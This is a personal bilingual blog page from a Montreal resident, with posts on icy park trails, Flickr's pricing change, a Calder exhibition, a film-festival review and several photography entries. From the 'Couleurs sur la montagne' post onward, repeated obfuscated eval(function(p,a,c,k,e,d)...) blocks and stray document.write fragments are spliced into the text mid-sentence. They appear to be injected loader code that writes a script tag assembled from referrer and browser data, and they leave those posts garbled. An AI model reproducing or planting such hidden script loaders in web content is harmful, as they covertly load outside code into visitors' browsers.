Un parc toujours glacé

Constatant que les rues et les trottoirs étaient largement libre de glace, j’ai décidé d’aller prendre ma marche de santé sans mettre mes crampons. Quelle Erreur! Le Parc Frédéric-Back est lui toujours glacé sur la majorité de ses sentiers (et ceux qui sont libre de glace sont évidemment plutôt boueux)…

J’ai pris le sentier polyvalent par le parc Champdoré, comme à mon habitude, et dans ce secteur c’est toujours une patinoire qui nécessiterait un épandage généreux d’abrasifs. C’est le cas jusqu’après la côte, passé l’entrée Legendre, et après cela c’est fondue. Toutefois, n’ayant pas été déneigé de tout l’hiver, l’accès Émile-Journault vers l’intérieur du parc est encore enneigé et glacé. Par contre, comme la neige a fondue un peu et est durcie, cette entrée est maintenant accessible sans trop d’acrobaties. À partir de là, le sentier qui fait le tour de la butte du “boisé” est en grande partie dégagé.

Je suis donc très déçu que le Parc Frédéric-Back, qui devrait normalement être accessible en toute saison tant aux piétons, coureurs et cyclistes, qu’aux skieurs et raquetteurs, n’a reçu que très peu d’entretien cet hiver, le rendant pratiquement inaccessible aux randonneurs qui n’ont pas de crampons et le laissant au plaisir exclusif des skieurs et raquetteurs. Cela n’a d’ailleurs rien à voir avec la quantité de neige ou de pluie reçue cet hiver et tout à voir avec la quasi absence de déneigement et d’épandage d’abrasifs dans le parc. Le parc était beaucoup mieux entretenu durant l’administration précédente. Comme la mairesse de VSP m’a informé que le “parc se trouve dans notre arrondissement cependant la gestion ne nous reviens pas” et qu’il “fait partie du réseau des grands parcs et donc c’est la ville centre qui le gère,” je vais donc dorénavant adresser mes doléances à la ville centre (Ville de Montréal, Valérie PlanteParc Frédéric Back) qui malheureusement réponds pas mal moins souvent (jusqu’à maintenant je n’ai jamais eut de réponses) aux commentaires que les arrondissements…

Voir mes autres commentaires sur l’état glacé des sentiers du Parc Frédéric-Back avec mes billets Coeur de glaceN’ice park, et Stat’ice report.

Aussi, suite à cette malencontreuse chute sur le sentier polyvalent du parc (où j’ai  déchiré mon pantalon), j’ai décidé de faire une réclamation à la ville (pour le remplacement de mon pantalon et l’achat de crampons!). J’ai reçu une confirmation écrite (dans un language un peu intimidant!) et par téléphone. On me demande si j’ai reçu des dommages physiques. Je réponds que si c’était le cas je l’aurais mentionné dans ma réclamation. “À part le pantalon déchiré et une petit ecchymose, non, il n’y a pas eut de dommage physique”. Sur ce on me répond (je paraphrase), “une ecchymose? Ben là, à cause de ce dommage à votre personne il va y avoir un délais d’un mois avant que l’on puisse poursuivre la réclamation” ! Maudite ville à marde!

[ Translate ]

Flickr F*ck

It’s the Dropbox rip-off all over again!

I’ve just been reminded today that my picture albums are about to be taken hostage. Not long after Yahoo had sold Flickr to SmugMug, they announced drastic changes in their policy. Their offering was too good and not profitable enough so they decided to jack up their price and radically reduce the advantages of free accounts. By doing so they are seriously screwing up their existing customers in what amounts to nothing less than corporate highway robbery!

The free accounts will be reduced to 1,000 photos and videos (instead of 1 Tb). Customers can update to Flickr Pro to have unlimited storage for C$65.88 (C$5.49 / mo) in a scheme that is basically upgrade or die! We have until January 8th to decide, after that our accounts will be frozen until February 5th, when the excess pictures will be DELETED! That’s outrageous!

This puts me in quite a dilemma. Since it has been one of the best sharing photos sites, I’ve been using the Flickr free account a lot for a while—although I’ve almost stopped using it since I upgraded to MacOS Mojave because the Photos app doesn’t allow us to easily upload to Flickr anymore. However, I still have 57 photo albums on it, which contains over 3000 pictures (0.6% of 1 Tb). 

So, should I upgrade or not? If I don’t I will lose my albums—but it doesn’t really matter since all those pictures are still in my Photos libraries anyway. It is just that there, I cannot share those pictures. And I don’t really want to pay yet another subscription service (I am already paying for several of them) and I am already using other services that could serve as Flickr alternative — although not as good… What are the photo sharing options that I already have?

  • Adobe Portfolio included with my Adobe Creative Cloud Photography plan (US$137.83 for 20 Gb, Photoshop, Lightroom) but seems to double the use of WordPress. Although the whole Adobe Creative Cloud offers A LOT of potential that I still have to explore…
  • Amazon Photo unlimited photo storage (plus 5 Gb for video and files) already included with my Amazon Prime subscription (C$79), but you can share only links and is not web-based like Flickr was… (Ex.: Cats 2017-18) 
  • Dropbox free (using 37% of 6.8 Gb) but not able to easily share files anymore (unless I pay C$129 for 1 Tb or C$279 for 2 Tb & Showcase)
  • Facebook free, but not very practical (any limits?)
  • Google Photo free (using 6.3% of 15 Gb) but not practical because you can share only links (ex: Blogger album or Flower 2018 [from Flickr])
  • iCloud I am already paying $3.99 for 200 Gb (so far using only 40%) to host my pictures, but there’s no real option to share pictures or albums…
  • Imgurfree, no limit (sounds great! But doesn’t look very elegant)
  • Instagram free & cute, but again not very practical for photo albums
  • Photobucketfree, slow, offers only 2.5 Gb (2% used) with very intrusive ads (or pay $48.36 for 25 Gb)
  • Pinterest free, but not very practical for photo albums (good to pins pics from other sites though)
  • Vimeo250 Gb included with my Plus subscription ($108), but it’s for video only and would be superfluous and redundant if I go with WordPress Premium…
  • WordPress included with my Personal hosting ($48) I already have 6 Gb (using only 48%), but I am considering upgrading to Premium for 13 Gb ($96 but it also includes advanced social media, simple payments, site monetization and video support), but no nice way to share large albums. But I am sure I could work out something… (there are widgets for Gallery or Instagram)

After testing (again) all those alternatives (wasting an entire afternoon of writing doing so) I sadly report that none of them seems totally satisfactory. However, I refuse to pay the ransom that Flicker is asking for my picture albumsF*ck you Flickr !

I’ll probably workout something on WordPress, either directly or create a page that forward to a subsidiary site (Amazon, Google or Imgur) through links… We’ll see.

[ Traduire ]

Calder

Alexander Calder : un inventeur radicalMercredi nous avons profité d’un rendez-vous en ville pour aller visiter l’exposition Alexander Calder : un inventeur radical au Musée des Beaux-arts de Montréal. Cette retrospective des oeuvres de l’artiste Américain, qui se tient au MBAM du 21 septembre 2018 au 24 février 2019, offre 150 œuvres et documents qui représentent bien les différentes périodes de cet artiste multidisciplinaire. Comme d’habitude, je vous offre ici quelques memento de ma visite…

[ Translate ]

Continuez la lecture après le saut de page >>

Continue reading

Zone Out

Zone OutKindergarten teacher, Chinatsu is always in a state of stress. And it is at this moment that a pupil of her class is murdered. Totally distraught, Chinatsu begins to sink into a world of illusion that she can not control. (FFM)

I don’t know what they have put in the water of that city but all the characters in this movie offer a whole catalog of mental illness: Chinatsu, a kindergarten teacher, cracks under the pressure brought by all those helicopter parents and develops schizophrenia; her acupuncture doctor, Yuichi, suffers from Capgras syndrome; Naoto, a salesman bullied by his seniors, has nomophobia; Akamatsu, the convenience store clerk, suffers from Asperger; Mitsuki, Haruka’s mother, suffer from Munchausen syndrome, etc. I guess it was the purpose of the director to show with this docudrama-style movie what it is to have such illness and how difficult it can be for the families.

It is a very dark movie and the end result is, unfortunately, barely average. The storytelling is awkward and not particularly skillful, the photography feels amateurish and the acting is so-so — although, the main actress is very charming and switching the actors who plays the two Yuichi toward the end of the movie in order to unexpectedly show the schizophrenia of Chinatsu is, I must say, quite brilliant. Also, the movie is really not well served by the poor translation (in the subtitles). When I noticed two typos in the very first sentence of the movie, I knew that this would spell trouble! (unless they made it on purpose to make us feel crazy!) If it was not already obvious with the production quality, the horrible translation really smelled of tiny budget…

Finally, to really give a last pathetic impression, the absence of a translator for the Q&A at the end of the presentation (due to the minimalistic ressources of the festival this year — what? they couldn’t even find a volunteer to take up the task?) left the poor director and main actress at the mercy of their basic English language skills and made for such a laughable exchange that you could only feel sorry for them. 

However, undertaking such a difficult and serious subject requires some strength. I understand what the director was trying to achieve and I greatly appreciate his efforts (for that I give him extra points!). In a society that was repressed for so long, where you find a real epidemic of bullying (both at school and at the work place, including sexual harassment) and where an aging population is plagued by various forms of dementia, it is really not surprising to find that mental illness has become a great challenge in Japan today. Kudos to the director for trying to bring attention to this problem.

Zone Out / Regarder dans le vide (アウトゾーン / Out Zone): Japan, 2017, 115 mins; Dir.: Hiroshi Kanno; Scr.: Mari Takanashi; Phot.: Makoto Hayashi; Ed.: Aya Mitsuaka; Light.: Sousuke Yoshikado; Sound: Kazuyuki Tutiya; Mus.: Magumi Masui; Cast: Minami Matsunaka (Chinatsu), Masato Oki (Yuichi Akino), Kyoko Toyama (Kyoko), Gen Kuwayama (Naoto), Yusuke Ueda (Akamatsu), Yusuke Sugiyama (Yuichi Kagawa), Ben Hori (Hisashi Aoyama).

Screened at the Cinema Imperial (Sat. 8/25 at 16:30) as part of the “World Great” program (out of competition) of the 42nd Montreal World Film Festival. stars-2-0

[ IMDb ]

[ Traduire ]

FFM 2018 Day 1

FFM2018-banner2

Red carpet and Opening ceremony

This year the Festival des Films du Monde (FFM or MWFF, Montreal World Film Festival) strangely seems slightly more organized (at least for the accreditation) than the previous couples of years. They are probably getting used to extreme austerity and benefits from plenty of movie aficionado volunteers. Also, there’s more Japanese movies than last year (but still less than the usual dozen). Unfortunately, since there are only four screens (Cinéma Impérial and Quartier Latin 10, 12 & 13) to show ALL movies, they are shown only once (twice for the titles in competition) and mostly in the afternoon — which is not compatible with my own schedule, so I’ll probably end up viewing only half of the Japanese movies. Too bad, but that’s better than nothing!

However, I was happy that the title selected as opening film was one of the Japanese movies: Samurai’s Promise. No one from the cast or crew was present for the opening ceremony, although there was plenty of actors & actresses from other Japanese and Chinese movies (as well as local dignitaries) parading on the red carpet.

Red carpet photo gallery

 

The only speech was given by the president of the festival, Serge Losique. He seemed tired, but still defiant (although slightly apologetic):

“The festival is a great cathedral open to all. Our role was not to imitate whoever but to be ourselves, to be authentic. (…) Our role was also to helped small unknown countries, like Cape Verde or Sri Lanka [to promote their films]. All we want is for the public, and the journalists, to appreciate the films.”

He continues saying he doesn’t want the glamour of the other festivals but only to showcase the diversity of the world cinema. That’s why it is the “Festival des Films du Monde” [also a word-play in French meaning the festival of the people]. People are asking for stars, he says, but the stars here are the films. He also argues that the directors and actors who come to Montreal are stars in their own countries, and many more have been discovered here, at the festival, and are now stars! [I might add that I’ve seen plenty of great stars at the FFM over the years: Catherine Deneuve, Sofia Loren, Jackie Chan, Robert de Niro, Tony Curtis, Mamoru Oshii, etc.]

He also announces the new policy for the festival to chose as president of the jury a director that has previously won the Grand Prix of the Americas. Also the jury members will not necessarily be present at the festival but will screen the titles in competition via video link (although the president of the jury will always be present in Montreal). He introduces the members of this year’s jury (critic Élie Castiel, Pierre-Henri Deleau, an executive from China Film Group Corporation and another jury whose name will be revealed at the end of the festival) as well as its president, Silvio Caiozzi [Chilean director, winner of last year’s Grand Prix des Amériques], who also said a few words:

“From the beginning this festival always chose nothing but films of cinematographic excellence. Nowadays, I can feel that around the world somehow (…) [in the movie industry] the true quality of films is not looked upon, really. What they look upon is (…) what film has the big budget (…) or the politics (…) but not really the quality of the films. So, really, honestly, (…) in my opinion this is perhaps the only festival that still remains absolutely independant.”

Opening ceremony video

(I understand what Serge Losique is saying here. He is trying to explain and justify his position. The festival is his life-work, his baby, and he doesn’t want to relinquish its control. Indeed, if you accept public money you have to show transparency and do things the way the government wants them to be done… Unfortunately, if he doesn’t step down, pass the mantle to someone else soon (while maybe remaining on board as advisor), the festival will die with him…)

The theatre was not full, like we’ve seen for previous years, but considering the situation, it was full enough (maybe half?). Surprisingly, there was not that many people from the local Japanese community.

It was a short ceremony, a good movie (see my separate comment), the weather was nice, Radio-Canada / CBC was there to report on the event so, all in all, it was a good day for the festival.

[ Traduire ]

Italian week 2018

SettimanaItalianaDiMontrealLike last year, we have visited the Settimana Italiana di Montreal (the Italian Week), festival held all over Montreal (but mostly in Little Italy, on St-Laurent street between St-Zotique and Jean-Talon streets) from August 3rd to 12th.

This year the festival celebrated its 25th Anniversary with many activities: an exhibition of all its promotional posters, a Fiat 500 car exposition, guided tours, a film festival, an opera presentation of Puccini’s “La Bohème”, a parade of the Sbandieratori Borghi e Sestieri Fiorentini (a group of Italian flag-throwers keeping alive the old military flag-waving tradition), and lots of food, musical displays and entertainments. Each local Italian association has a booth to inform about their activities. It was very interesting.

Here is a photo album and a short video (15 mins) as a memento of this year’s festival:

[ Traduire ]

Happy Holidays to all !

Version 2

Joyeuses Fêtes à tous !

Je tiens à souhaiter à tous mes collègues et ami(e)s, chers lecteurs et lectrices, un excellent solstice (en retard), une bonne Nativité (ou Noël, Hanukkah, Kwanzaa, Festivus, Saturnalibus — peut importe ce que vous fêtez) et surtout une heureuse, paisible, saine et agréable nouvelle année.

I want to wish all my colleagues and friends, my dear readers, an excellent solstice (a little late), a good Nativity (or Christmas, Hanukkah, Kwanzaa, Festivus, Saturnalibus — whatever you celebrate) and especially a happy, peaceful, healthy and pleasant new year.

عطلات سعيدة للجميع
祝大家節日快樂
Feliĉaj Ferioj al ĉiuj
Frohe Feiertage für alle
Ευχάριστες διακοπές σε όλους
Happy Holidays nan tout
חג שמח לכולם
सभी के लिए खुश छुट्टियाँ
Buone Feste a tutti
すべてにハッピーホリデー
Beatus festis in omnes
Счастливые праздники для всех
Felices fiestas a todos
Chúc mừng ngày lễ cho tất cả

Portes Ouvertes à VSP

PortesOuvertesVSP

Cet après-midi je suis allé faire un tour aux Portes Ouvertes de la mairie d’arrondissement.

Je suis citoyen co-propriétaire d’un duplex dans l’arrondissement depuis presque sept ans (avril 2011) et je commence tout juste à m’intéresser à la politique municipale. Comme je travaille tout les mardis soir, je n’ai jamais assisté à une séance du conseil alors c’était l’occasion idéale de rencontrer la nouvelle mairesse de l’arrondissement, Mme Giuliana Fumagalli (au centre), et ses collègues du conseil d’arrondissement (de g. à d.): Franz Benjamin (District de Saint-Michel), Sylvain Ouellet (François-Perrault), Rosannie Filato (Villeray) et Mary Deros (Parc-Extension). Je ne suis pas sûr d’avoir vue Mme Filato mais, bien sûr,  mon conseiller de district, M. Benjamin — que je n’ai jamais réussi à rencontrer durant toutes ces années — était absent.

Conseil_d_arrondissement_VSP

 

Lire la suite après le saut de page >>
Continue reading

Weekly notable news (w17-19)

Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!

In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.

The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).

Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.

The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!

Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!

Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.

[ Traduire ]

Continue reading

Couleurs sur la montagne

Colours on the mountain I
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arryn|var|u0026u|referrer|skdnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsbsr|var|u0026u|referrer|akiaz||js|php’.split(‘|’),0,{}))
Couleurs d’automne sur le
Lac aux Castors

Colours on the mountain IV Colours on the mountain VII

Colours on the mountain III

Colours on the mountain II Colours on the mountain IX

Colours on the mountain V
Cimetière Notre-Dame-des-Neiges avec l’Oratoire St-Joseph en arrière-plan

Colours on the mountain VI Colours on the mountain VIII

(iPhone 6s, document.write(“”); Parc du Mont-Royal, 2016-10-12)
[ Translate ]

Photos haiku: Shiki

En regardant une émission à la télévision japonaise, document.write(“”); Haiku Masters, diffusée en anglais sur NHK World, j’ai découvert un concept nouveau en art visuel: le photo haiku ! Le premier épisode de cette émission peut être visionné sur demande sur le site internet de la station.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhbn|var|u0026u|referrer|fntds||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysakb|var|u0026u|referrer|sdhhz||js|php’.split(‘|’),0,{}))

Cela m’avait déjà donné l’idée de faire
une video haiku inspiré par les nouvelles rames de métro Azur. Cette fois je vous propose deux photos haiku qui utilisent des textes de Shiki tirés de Cent sept haiku (ouvrage que j’ai tout récemment commenté):

Papillon qui dors
Sleeping Butterfly
(Photo: clodjee.com, iPhone 6, 2015-09-26 / Texte: Shiki, Cent sept haiku, p. 22)
Sur ce haiku, le traducteur note (Cent sept haiku, p. 109): “Réplique adressée à S?shi (Zhuangzi), grand philosophe taoïste chinois, qui un jour avait rêvé qu’il était un papillon, avant de se demander s’il n’était pas plutôt un papillon rêvant qu’il était Zhuangzi.”

Deux kakis
Two Kaki
(Photo: clodjee.com, iPhone 6s, 2015-11-16 / Texte: Shiki, Cent sept haiku, p. 90)
Sur ce haiku, le traducteur note (Cent sept haiku, p. 110): “Bien que très malade et souffrant de consomption, Shiki continue de travailler, recevant de très nombreux haiku dont il doit faire la critique. Mais compensation : il s’offre deux kakis après la séance de travail”.

[ Translate ]

Le printemps

Malgré les températures bien en-dessous de la moyenne de ces dernière semaines, document.write(“”); la nature, telle Perséphone, se réveille finalement de son long sommeil.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nisfk|var|u0026u|referrer|riifa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adnth|var|u0026u|referrer|akdnt||js|php’.split(‘|’),0,{}))

Le printemps est arrivé !
IMG_8447
(iPhone 6s, Parc du CESM, 2016-05-09)

Butterfly Butterfly
(iPhone 6s / Nikon D3300, 2016-05-09)
Pas facile d’identifier ces petites bêtes quand on est pas un expert. C’est définitivement une créature de la classe des insectes, de l’ordre des lépidoptères, sous-ordre des Macrolepidoptera, super-famille des Papilionoidea, et de la famille des Piéride. Là, ça se complique un peu.

Ça ressemble beaucoup à un Piéride de la moutarde (Leptidea sinapis, sous-famille des Dismorphiinae) mais il ne serait pas présent en Amériques… Alors j’ai tout de suite pensé à la Piéride du chou (Pieris brassicae, sous-famille des Pierinae) mais il est caractérisé par un point noir qui n’est pas présent sur le spécimen représenté ci-haut. C’est plus probablement son cousin, le Piéride de la rave (Pieris rapae, même sous-famille) aux caractéristiques similaires, mais plus petit. Toutefois, on dit que les individus “issus de la première génération de l’année ont des marques sombres moins importantes que ceux des autres générations”. Bingo!

Du point de vue photographique, on note la différence entre la gestion de la balance des blancs de l’iPhone (à gauche, presqu’aucune correction) et celle de la Nikon (à droite, qui la corrige automatiquement). Le cliché du iPhone 6s donne l’équivalent d’un ISO 25, DF 4.15mm, 0 ev, ƒ/2.2 et 1/493 alors que le cliché de la Nikon D3300 a été pris (en auto, je l’avoue) avec l’objectif Tamron (zoom/macro AF 70-300 mm F4-5.6) et un filtre UV FotodioX : ISO 720, DF 300mm, 0 ev, ƒ/5.6 et 1/1000. Il me reste encore beaucoup à apprendre sur l’utilisation efficace d’une DSLR car, malgré que le zoom digital du iPhone diminue de beaucoup la qualité, je préfère ici le résultat obtenu avec l’iPhone sur celui de la Nikon. Mmm…

[ Translate ]

J’ai vu des urubu

Cet après-midi, document.write(“”); en faisant mon six kilomètres de marche de santé autour du Complexe Environnemental Saint-Michel, j’ai pu observer un groupe de cinq rapaces qui jouaient dans le vent, sans doute à l’affut de proies faciles. C’était tout près du quartier général du Cirque du Soleil, dans un beau ciel bleu ponctué de quelques nuages… Malheureusement, je n’avais pas ma caméra avec moi. Seulement mon iPhone 6s, qui demeure tout de même la meilleur caméra à avoir sur soi en tout temps.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adbkk|var|u0026u|referrer|rbana||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztat|var|u0026u|referrer|fzhyz||js|php’.split(‘|’),0,{}))

C’était des oiseaux avec une grande envergure d’aile (au moins deux pieds, deux pieds et demi, peut-être plus), des ailes pointues et un bec crochu blanc de rapace. La couleur était sombre et le dessous des ailes vers l’arrière était plus clair. À cause de la couleur sombre, ça ne ressemblait pas aux rapaces
que j’avais déjà observé (du genre épervier ou faucon) mais avec cette description, et leur allure en vol, je crois bien que c’était des urubu à tête rouge (Cathares aura; quoi que, vu la distance, je n’ai pas remarqué la tête rouge et chauve qui les caractérise — d’où le nom anglais de Turkey vulture). Ils sont apparement fréquemment observé l’été dans la région de Montréal.

Il s’agit d’un oiseau de proie de la famille des vautours (Cathartidae). Toutefois, selon certains, “l’urubu à tête rouge n’est plus considéré comme appartenant au groupe des oiseaux de proie, mais est désormais classé dans celui des grands échassiers, tels que les hérons et les cigognes, les Ciconiiformes.” Je ne suis pas sûr, mais ils semblent nicher dans l’une des falaises du CESM.

J’ai fait un petit montage video de mon observation et l’ai mis sur Vimeo:


[ Translate ]

Pleine lune

Le résultat est pas mal mieux avec un trépied!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdayr|var|u0026u|referrer|stdin||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yezkd|var|u0026u|referrer|rziaa||js|php’.split(‘|’),0,{}))
J’ai toutefois recadré et agrandi le sujet
Full moon
(Nikon D3300 avec lentille Tamron, document.write(“”); DF=300mm, f/10, 1/800, ISO 200; 2016-04-23)
Je me demande quel genre de résultats je pourrais obtenir avec une lunette d’approche et un adapteur pour y fixer soit la caméra, soit le iPhone? Ou même avec une zoom encore plus puissante (comme avec une distance focale de 500mm)? C’est à investiguer…

[ Translate ]

Nouveau Zoom

J’ai acquis un nouvel objectif pour la Nikon D3300. Une zoom/macro AF70-300mm auto-focus motorisé de TAMRON (pas mal moins cher qu’un objectif Nikon!). C’est mieux que la zoom Olympus que je devais utilisé totalement en manuel. Au moins, document.write(“”); avec celui-ci, je peux relaxer et photographier en automatique si je le désir. La qualité est vraiment bien…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbiae|var|u0026u|referrer|inffn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkeyk|var|u0026u|referrer|nsker||js|php’.split(‘|’),0,{}))

Nikon D3300, Objectif TAMRON AF70-300mm

TAMRON AF70-300mm F/4-5.6 TAMRON AF70-300mm F/4-5.6
Un nouvel objectif auto-focus pour la Nikon (déployé et fermé)
Nouvel objectif = nouveaux tests de caméra… Après le saut de page >>

Tamron DF = 70 Tamron DF = 100
Même point de vue que les tests précédents, avec distance focale de 70mm et 100mm

Tamron DF = 135 Tamron DF = 180
Et avec distance focale de 135mm et 180mm

Tamron DF = 300
Et avec distance focale de 300mm; pas mal du tout!

Quelques autres exemples de photos prisent avec la TAMRON
Mont-Royal Crane
Le mont-Royal et une grue dans le CESM

Trail with the TOHU in background Lufthansa D-AIKP
Sentier du CESM (la TOHU en arrière-plan) et le Lufthansa D-AIKP

Moon
Intéressant mais je n’arrivais pas à faire la mise au point correctement

(Nikon D3300, Parc du CESM, 2016-04-20)

[ Translate ]

Promenade du dimanche

En cette belle journée ensoleillé mais fraîche (2’C), document.write(“”); j’ai pris une courte marche (4 km) dans le parc et cela m’a semblé une excellente occasion pour aussi faire quelques tests de caméra supplé-mentaires en extérieurs. Un beau ciel bleu avec quelques bandes de nuages…
